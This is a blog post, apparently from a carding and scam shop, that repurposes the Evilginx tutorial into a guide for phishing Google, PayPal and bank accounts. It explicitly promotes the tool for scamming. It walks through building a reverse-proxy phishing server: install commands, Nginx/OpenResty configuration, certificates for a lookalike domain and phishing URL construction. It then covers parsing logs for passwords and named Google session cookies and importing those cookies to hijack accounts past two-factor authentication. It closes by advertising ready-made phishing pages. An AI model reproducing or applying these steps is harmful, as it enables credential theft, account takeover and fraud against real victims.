In this article today we will be discussing how to bypass 2FA authentication for PayPal, bank logs, and Google authentication.
We are releasing our latest 2FA Bypass Project, which is a man-in-the-middle attack framework for remotely capturing credentials and session cookies of any web service.
It uses an Nginx HTTP server to proxy legitimate login pages to visitors and capture credentials and session cookies on-the-fly.
It works remotely, uses a custom domain, and uses a valid SSL certificate. We have decided to phish Google services for the McDumpals 2FA Bypass Project demonstration, as there is no better way to assess this tool’s effectiveness than stress-testing the best ant-phishing protections available.
Please note that the McDumpals 2FA Bypass Project (Evilginx) can be adapted to work with any website, not only with PayPal, banks, and Google.
Enjoy the video. If you want to learn more on how this attack works and how you can implement it yourself, do read on.
Please Note: This project is released for carding as well as scamming purposes, and by all means it should be used as such with written permission from to-be-phished parties (us).
How It Works?
You, as an attacker, will generate a phishing link pointing to your server running McDumpals 2FA Bypass Project Evilginx:
Parameters in the URL stand for:
On successful sign-in, the victim will be redirected to this link, e.g., a document hosted on Google Drive.
rt = This is the name of the session cookie, which is set in the browser only after successful sign-in.
If this cookie is detected, this will be an indication for Evilginx that sign-in was successful and the victim can be redirected to the URL supplied by the RC parameter.
The victim receives the attacker’s phishing link via any available communication channel (email, Messenger, etc.).
The victim clicks the link and is presented with Evilginx’s proxied Google sign-in page, oh yeah.
The victim enters his/her valid account credentials, progresses through a two-factor authentication challenge (if enabled), and he/she is redirected to the URL specified by the RC parameter.
At this point “rd cookie” is saved for your attacking domain in the victim’s browser. From now on, if this cookie is present, he/she will be immediately redirected to the RC URL when the phishing link is reopened.
The attacker now has the victim’s email and password, as well as session cookies that can be imported into the attacker’s browser in order to take full control of the logged-in session, bypassing any two-factor authentication protections enabled on your victim’s account.
Let’s take a few steps back and try to define the main obstacles in traditional phishing efforts.
The first and major pain with phishing for credentials is two-factor authentication.
You can create the best-looking template that yields you dozens of logins and passwords, but you will eventually get roadblocked when asked for a verification token that arrived via SMS.
Not only will it stop you from progressing further, but it will also tip off the account owner when they receive a login attempt alert.
The second issue with phishing templates is that they must allow to accept any login and password, as they have no means of confirming their validity.
That will, at times, leave you with invalid credentials.
The third issue is having to create phishing templates. I don’t know about you, but for me the process of copying site layout, stripping javascript, fixing CSS, and writing my own replacements for stripped javascript code to make the login screen behave as the original is extremely annoying; it feels bad to recreate something that has already been done.
In the past several months, our team has developed ettercap-like HTTP proxy software written in C++, using the “Boost::Asio” library for maximum efficiency.
We have implemented SSLstrip, DNS spoofing, and HSTS bypass. This solution worked perfectly in local area networks, but we wondered if the same ideas could be repurposed for remote phishing without the need to use custom-made software.
We had a revelation when we came across an excellent blog post by “@i_bo0om.”.
The author of that article used Nginx HTTP server’s proxy_pass feature and sub_filter module to proxy the real Telegram login page to visitors, intercepting credentials and session cookies on-the-fly using man-in-the-middle attacks.
That arhisle of his made us realise that Nginx could be used as a proxy for external servers, and it sparked the idea of Evilginx. The idea was perfect—simple and yet effective.
Allow us to educate you a bit on Evilginx’s research process before we focus on installation and usage.
Evilginx Research
The core of Evilginx is the usage of the Nginx HTTP proxy module.
It allows to pass clients’ requests to another server. This basically allows the Nginx server to act as a man-in-the-middle agent, effectively intercepting all requests from clients and modifying and forwarding them to another server.
Later, it intercepts the server’s responses, modifies them, and forwards them back to clients. This setup allows Evilginx to capture credentials sent with POST request packets and, upon successful sign-in, capture valid session cookies sent back from the proxied server.
In order to prevent the visitor from being redirected to the real website, all URLs with the real website’s domain, retrieved from the server, need to be replaced with an EvilGinx phishing domain. This is handled by the sub_filter module provided by Nginx.
Nginx implements its own logging mechanism, which will log every request in detail, including the POST body and also cookies and setcookie headers.
Our team created a Python script named “evilginx_parser.py” that will parse the Nginx log and extract credentials and session cookies, then save them in corresponding directories for simple management.
There is one big issue in Nginx’s logging mechanism that almost prevented Evilginx from being finished.
Take a look at the following Nginx configuration line that specifies the format in which log entries should be created:
log_format foo ‘$remote_addr “$request” set_cookie=$sent_http_set_cookie’;
Variable
$sent_http_set_cookie stores a value of the setcookie response header.
These headers will contain session cookies returned from the server on successful authorisation, and they have to be included in the output of Nginx’s access log.
The issue is that HTTP servers return cookies in multiple set-cookie headers like this:
HTTP/1.1 200 OK
Content-Type: text/html; charset=UTF-8
Set-Cookie: JSESSIONID=this_is_the_first_cookie; path=/; secure; HttpOnly
Set-Cookie: APPID=this_is_the_second_cookie; path=/;
Set-Cookie: NSAL33TTRACKER=this_is_the_third_cookie; path=/;
Server: nginx
Connection: close
For some reason, Nginx’s $sent_http_set_cookie variable doesn’t store set-cookie header values as an array. Instead, it stores only the value of the first seen set-cookie header, which in our example would be:
JSESSIONID=this_is_the_first_cookie; path=/; secure;
HttpOnly, this is a huge problem, as it allows to log only one cookie and forget the rest.
While searching for possible solutions, we came across posts from 2011 about the same issue, reported by “hopeless sysadmins” and developers. We were positive that Nginx itself did not have any workaround.
So we had two options:
Option 1. Modifying Nginx source code and fixing the issue myself.
Option 2. Developing a custom Nginx module that would allow for better packet parsing.
After a while, we knew neither of the two options were viable.
They would have required us to spend a huge amount of time understanding the internals of Nginx.
Neither did we want to do it nor did we have that amount of time to spend on this side project.
Thankfully, we came across some intriguing posts about using the LUA scripting language in Nginx configuration files.
We learnt it was an “OpenResty Nginx” modification, which allowed to put small scripts into site configuration files to handle packet parsing and data output.
OpenResty website describes itself as such:
OpenResty® is a full-fledged web platform that integrates the standard Nginx core, LuaJIT, many carefully written Lua libraries, lots of high-quality 3rd-party Nginx modules, and most of their external dependencies. It is designed to help developers easily build scalable web applications, web services, and dynamic web gateways.
We found out that by using LUA scripting, it was possible to access set cookie headers as an array.
Here is an example function that returns all set-cookie header values as an array:
function get_cookies()
local cookies = ngx.header.set_cookie or {}
if type(cookies) == “string,” then cookies = {cookies}
end
return cookies
end
The big issue with logging cookies was resolved, and the best part of it was that LUA scripting allowed much more in terms of packet modification, which wasn’t allowed by vanilla Nginx, e.g., modification of response packet headers.
The rest of development followed swiftly. We will explain more interesting aspects of the tool as we go, while we guide you on how to install and set up everything from scratch.
Getting Your Hands Dirty
We’ve released a new version of Evilginx, which makes the installation process described in this post slightly out-of-date. For new installation instructions, refer to the latest post about Evilginx 1.0 Update.
First of all, we need a server to host Evilginx. We’ve used a Debian 8.7 x64 512MB RAM VPS hosted on Digitalocean.
We’ve used the cheapest $5/mo server. Once our server is up and running, we need to log into it and perform upgrades, just in case:
apt-get update
apt-get upgrade
We will also need a domain that will point to our VPS. We highly recommend buying one from NameCheap.
We won’t cover here how to set up your newly bought domain to point at your newly bought VPS. You can find excellent tutorials on Digital Ocean:
Installing Openresty Nginx
Now we can proceed to install OpenResty. We will be installing it from source.
At the time of writing, most current version was 1.11.2.2, so if you want a newer version, you can check the download page for more up-to-date links.
mkdir dev
cd dev
wget https://openresty.org/download/openresty-1.11.2.2.tar.gz
tar zxvf openresty-1.11.2.2.tar.gz
cd openresty-1.11.2.2
With OpenResty unpacked, we need to install our compiler and dependency packages to compile it.
The following will install Make, GCC compiler, PCRE, and OpenSSL development libraries:
apt-get -y install make gcc libpcre3-dev libssl-dev
Before we compile the sources, we need to configure the installation.
The following line will do the job of putting the Nginx binaries, logs, and config files into proper directories.
It will also enable the sub_filter module and LuaJIT functionality.
./configure –user=www-data –group=www-data –prefix=/etc/nginx –sbinpath=/usr/sbin/nginx –conf-path=/etc/nginx/nginx.conf –error-logpath=/var/log/nginx/error.log –http-log-path=/var/log/nginx/access.log –pidpath=/var/run/nginx.pid –lock-path=/var/run/nginx.lock –with-http_ssl_module –with-pcre –with-http_sub_module –with-luajit
At this point, we are ready to compile and install.
make
make install
If all went well, we can verify that OpenResty was installed properly:
root@phish:~# nginx-v
nginx version: openresty/1.11.2.2
From now on, we will refer to OpenResty as Nginx. We believe it will make it less confusing.
Setting Up The Daemons
Nginx is now installed, but it currently won’t start at boot or keep running in the background. We need to create our own systemd daemon service rules:
cat <<EOF > /etc/systemd/system/nginx.service
[Unit]
Description: The NGINX HTTP and reverse proxy server
After=syslog.target network.target remote-fs.target nss-lookup.target
[Service]
Type=forking
PIDFile=/run/nginx.pid
ExecStartPre=/usr/sbin/nginx -t
ExecStart=/usr/sbin/nginx
ExecReload=/bin/kill -s HUP $MAINPID
ExecStop=/bin/kill -s QUIT $MAINPID
PrivateTmp=true
[Install]
WantedBy=multi-user.target
EOF
Before we launch our service for the first time, we have to properly configure Nginx.
Nginx Configuration
We need to open the Nginx configuration file /etc/nginx/nginx.conf with any text editor and make sure to add include /etc/nginx/sitesenabled/* in the http {…} block.
After modification, it should look something like this:
…
http {
include
mime.types;
default_type
application/octet-stream;
include /etc/nginx/sites-enabled/*;
}
…
Nginx, from now on, will look for our site configurations in the /etc/nginx/sites-enabled directory, where we will be putting symbolic links of files residing in the /etc/nginx/sitesavailable directory.
Let’s create both directories:
mkdir /etc/nginx/sites-available/ /etc/nginx/sites-enabled/
We need to set up our phishing site configuration for Nginx.
We will use the site configuration for phishing Google users that is included with the Evilginx package.
The easiest way to be up-to-date is to clone the Evilginx GitHub repository.
apt-get -y install git
cd ~
mkdir tools
cd tools
git clone https://github.com/kgretzky/evilginx
cd evilginx
Now copy Evilginx’s site configuration template to the /etc/nginx/sitesavailable/ directory.
We will also replace all occurrences of {{PHISH_DOMAIN}} in the template file with the name of the domain we registered, which in our case is yourdomain.com.
When it’s done, create a symbolic link to our new site configuration file in the /etc/nginx/sites-enabled/ directory:
cp ./sites/evilginx-google-template.conf /etc/nginx/sites-available/evilginxgoogle.conf
sed -i ‘s/{{PHISH_DOMAIN}}/yourdomain.com/g’ /etc/nginx/sitesavailable/evilginx-google.conf
ln -s /etc/nginx/sites-available/evilginx-google.conf /etc/nginx/sites-enabled/
We are almost ready.
One remaining step is to install our SSL/TLS certificate to make Evilginx phishing site look legitimate and secure. We will use LetsEncrypt free SSL/TLS certificate for this purpose.
Installing SSL/TLS certificates
EFF has released an incredibly easy-to-use tool for obtaining valid SSL/TLS certificates from LetsEncrypt. It’s called Certbot, and we will use it right now.
Open your /etc/apt/sources.list file and add the following line:
deb http://ftp.debian.org/debian jessie-backports main
Installing Certificate Boxes
apt-get update
apt-get install certbot -t jessie-backports
If all went well, we should be able to obtain our certificates now.
Make sure Nginx is not running, as Certbot will need to open HTTP ports for LetsEncrypt to verify ownership of our server. Enter the following command and proceed through prompts:
certbot certonly – standalone -d yourdomain.com -d accounts.yourdomain.com
On success, our private key and public certificate chain should find its place in /etc/letsencrypt/live/yourdomain.com/ directory.
Nginx’s site configuration already includes a setting to use SSL/TLS certificates from this directory.
Please note that LetsEncrypt certificates are valid for 90 days, so if you plan to use your server for more than 3 months, you can add the certbot renew command to your /etc/crontab and have it run every day. This will make sure your SSL/TLS certificate is renewed when its bound to expire in 30 days or less.
Firing It Up
Everything is ready for launch. Make sure your Nginx daemon is enabled and start it:
systemctl enable nginx
systemctl start nginx
Check if Nginx started properly with systemctl status nginx and make sure that both ports 80 and 443 are now opened by the Nginx process by checking output of netstat -tunalp.
If anything went wrong, try to retrace your steps and see if you did everything properly.
Do not hesitate to report issues in the comments section below, or even better, file an issue on GitHub.
In order to create your phishing URL, you need to supply two parameters:
1.rc = On successful sign-in, the victim will be redirected to this link, e.g., a document hosted on Google Drive.
2.rt = This is the name of the session cookie, which is set in the browser only after successful sign-in.
If this cookie is detected, this will be an indication for Evilginx that sign-in was successful and the victim can be redirected to the URL supplied by the RC parameter.
Let’s say we want to redirect the phished victim to rick’roll video on Youtube, and we know for sure that Google’s session cookie name is LSID. The URL should look like this:
https://accounts.yoourdomain.com/ServiceLogin?rc=https://www.youtube.com/watch?v=dQw4w9WgXcQ&rt=LSID
Try it out and see if it works for your own account.
Capturing credentials and session cookies
Nginx’s site configuration is set up to output data into /var/log/evilginx-google.log file.
This file will store all relevant parts of requests and responses that pass through Nginx’s proxy. Log contents are hard to analyse, but we can automate their parsing.
We wrote a small Python script called “evilginx_parser.py,” which will parse Nginx’s log files and extract only credentials and session cookies from them. Those will be saved in separate files in directories named after extracted accounts’ usernames.
We assume you’ve now tested your Evilginx setup with phishing for your own account’s session.
Let’s try to extract your captured data. Here is the script’s usage page:
# ./evilginx_parser.py -h
usage: evilginx_parser.py [-h] -i INPUT -o OUTDIR -c CREDS [-x]
optional arguments:
-h, –help
show this help message and exit
-i INPUT, -input INPUT
Input log file to parse.
-o OUTDIR, -outdir OUTDIR
Directory where output files will be saved.
-c CREDS, -creds CREDS
Credentials configuration file.
-x, –truncate
Truncate the log file after parsing.
All arguments should be self-explanatory, apart maybe from -creds and -truncate.
Argument-creds specifies the input config file, which provides info for the script about what kind of data we want to extract from the log file.
The Creds config file, google.creds, made for Google, looks like this:
[creds]
email_arg=Email
passwd_arg=Passwd
tokens=[{“domain”:”.google.com”,”cookies”:[“SID”, “HSID”, “SSID”, “APISID”, “SAPISID”, “NID”]},{“domain”:”accounts.google.com”,”cookies”:[“GAPS”, “LSID”]}]
The Creds file provides information on sign-in form username and password parameter names.
It also specifies a list of cookie names that manage the user’s session, with assigned domain names. These will be intercepted and captured.
It is very easy to create your own.creds config files if you decide to implement phishing of other services for Evilginx.
If you supply the -x/–truncate argument, the script will truncate the log file after parsing it. This is useful if you want to automate the execution of the parser to run every minute, using cron.
Example usage of the script:
# ./evilginx_parser.py -i /var/log/evilginx-google.log -o ./logs -c google.creds -x
That should put extracted credentials and cookies into the./logs directory.
Accounts are organised into separate directories, in which you will find files containing login attempts and session cookies.
Session cookies are saved in JSON format, which is fully compatible with the EditThisCookie extension for Chrome.
Just pick the Import option in the extension’s window and copy-paste the JSON data into it to impersonate the captured session.
Keep in mind that it is often best to clear all cookies from your browser before importing.
After you’ve imported the intercepted session cookies, open Gmail, for example, and you should be on the inside of the captured account. Congratulations!
SESSION Hacking FAQ
We figured many of you may not be familiar with the method of hijacking session tokens. We’d like to shed some light on the subject by answering some questions that we often get.
Q: Does session hijacking allow to take full control of the account without the need to even know the user’s account password?
Answer: Yes. When you import another account’s session cookies into your browser, the server has no other option than to trust that you are indeed the person who logged into his own account.
Q: How is this possible? Shouldn’t there be protections to prevent this?
Answer: The only variable that is hard to control for the attacker is the source IP address.
Most web services, handling critical data, should not allow the same session token to be used from multiple IP addresses at the same time (e.g., banks).
It would be wise to detect such scenarios and then invalidate the session token, requiring both parties to log in again.
As far as we’ve tested, Google doesn’t care about the IP address of the account that uses a valid session token. The attacker’s IP can be from a different continent, and still it wouldn’t raise red flags for the legitimate account owner.
I believe the only reason why Google does allow to simultaneously access accounts from different IPs using the same session token is user experience. Imagine how many users switch their IPs while they have constant access to their Google services.
They have Google signed in on their phone and PC; they move between coffee shops, work, and home, where they use different wireless networks, VPNs, or 3G/4G networks.
If Google were to invalidate session tokens every time an IP change was detected, it would make using their services a nightmare, and people would switch to easier-to-use alternatives.
And, no, Google Chrome does not perform any OS fingerprinting to verify a legitimate owner’s machine. It would be useless as it would provide less protection for people using other browsers (Firefox, Safari, Opera) and even if they did fingerprint the OS, the telemetry information would have to be somehow sent to the server during the user’s sign-in. This inevitably would also allow hijacking.
Q: Does the account owner get any alerts when he tries to log into Google through the EvilGinx phishing site?
Answer: Yes. On successful login, the account owner will receive a push notification to his Android phone (registered with the same Google account) and an email to his address with information that someone logged into their account from an unknown IP address.
The IP address will be the one of the Evilginx server, as it is the one acting as a man-in-the-middle proxy and all requests to the Google server originate from it.
The attacker can easily delete the “Unknown sign-in alert” e-mail after getting access to the account, but there will be no way for him to remove the push notification, sent to the owner’s Android phone.
The issue is that some people may ignore the alert, which will be sent exactly after they personally sign into the EvilGinx phishing site. They may understand the alert is a false positive, as they did sign in a minute earlier.
Q: How would this attack fare against hardware two-factor authentication solutions?
Answer: Apparently U2F “security key” solutions check the domain you’re logging into when the two-factor token is generated.
In such a scenario, the attack won’t work as the user won’t be able to log in because the phishing domain is present instead of the legitimate one.
Two-factor authentication protects the user only during the sign-in process. If a user’s password is stolen, 2FA acts as backup security protection, using an additional communication channel that is less likely for an attacker to compromise (personal phone, backup e-mail account, hardware PIN generators).
On successful login, using any form of two-factor authentication, the server has to save session cookies in the account’s owner’s browser. These will be required by the server to verify the account owner of every sent subsequent request.
At this point, if the attacker is in possession of session cookies, 2FA authentication methods do not matter as the account has already been compromised since the user successfully logged in.
Q: What will happen if I don’t tick the “Remember me” checkbox at the Evilginx phishing page, which should make the session token temporary?
Answer: A temporary session token will be sent to the user’s browser as a cookie with no expiration date.
This lets the browser know to remove this cookie from the cache when the browser is closed. Evilginx will still capture the temporary session token, and during extraction it will add its own +2 year expiration date, making it permanent this time.
If the server doesn’t have any mechanism to invalidate temporary session tokens after a period of time. Tokens they issued may be used by an attacker for a long time, even after the account owner closes their browser.
CONCLUSION
We need to stress out that Evilginx is not exploiting any vulnerability. Because Evilginx acts as a proxy between the user and Google servers, Google will recognise the proxy server’s IP as a client and not the user’s real IP address. As a result, the user will still receive an alert that his account was accessed from an unknown IP (especially if the Evilginx server is hosted in a different country than the phished user resides in).
We released this tool so you can go in hunt for your targets accounts and private data. Once they fall for your ploy, not even two-factor authentication would help them.
In the future, if the feedback is good, the McDumpals team plans to write a post going into details on how to create your own Evilginx configuration files in order to add support for phishing any website you want.
If you are looking for readymade phishing pages, we have got a tonne of the latest phishing pages in our shop; do take a look.
Good luck! Get your success; you deserve it. We will see you on the other side!